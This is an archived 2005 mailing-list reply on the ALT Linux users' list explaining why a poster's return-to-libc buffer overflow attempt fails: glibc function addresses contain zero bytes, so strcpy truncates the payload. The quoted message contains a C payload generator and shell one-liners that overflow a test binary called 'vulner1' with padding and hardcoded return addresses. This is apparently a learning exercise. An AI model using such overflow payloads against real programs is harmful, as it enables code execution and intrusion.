ALT Linux users (in English only)
 help / color / mirror / Atom feed
From: Egor Grebnev <>
Subject: Re: [Comm-en] System call via buffer overflow not working
Date: Mon, 24 Jan 2005 23:20:47 +0300
Message-ID: <> (raw)
In-Reply-To: <BAY24-F3D2242ED2F827B0D9EE09B3820@phx.gbl>


A small comment from Dmitry Levin, a lead developer who isn't subscribed 
to this mailing list yet.

I hope that the original meaning hasn't been lost during translation 
from Russian ;-)

The technique that you are trying to master is called return-to-libc. It 
is a bit more complex since in the string view the function addresses 
from our glibc are zero bytes. As a result, strcpy in your sample only 
copies a part of the string, and the sample doesn't work.

You can make a Google search on this topic, many things were written 
about it some time ago.

Aaron McDonald wrote:

> Here are the typo fixes from my previous email:
> //makehex.c
> main() {
>        char pad[524];
>        int i;
>        for (i=0; i < 524; i++)
>                pad[i] = 'A';
>        pad[524]='\0';
>        printf("%s\xe0\x9e\x16\x00\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf", pad);
> }
> ./vulner1 $(perl -e 'print "A"x524')$(printf
> "\xec\x83\x04\x08\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf")
>     or
> ./vulner1 $(./makehex)     //don't forget to update and recompile makehex
> _______________________________________________
> Community-en mailing list

      reply	other threads:[~2005-01-24 20:20 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2005-01-21 22:46 Aaron McDonald
2005-01-24 20:20 ` Egor Grebnev [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \ \ \ \

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link

ALT Linux users (in English only)

This inbox may be cloned and mirrored by anyone:

	git clone --mirror community-en/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 community-en community-en/ \
	public-inbox-index community-en

Example config snippet for mirrors.
Newsgroup available over NNTP:

AGPL code for this site: git clone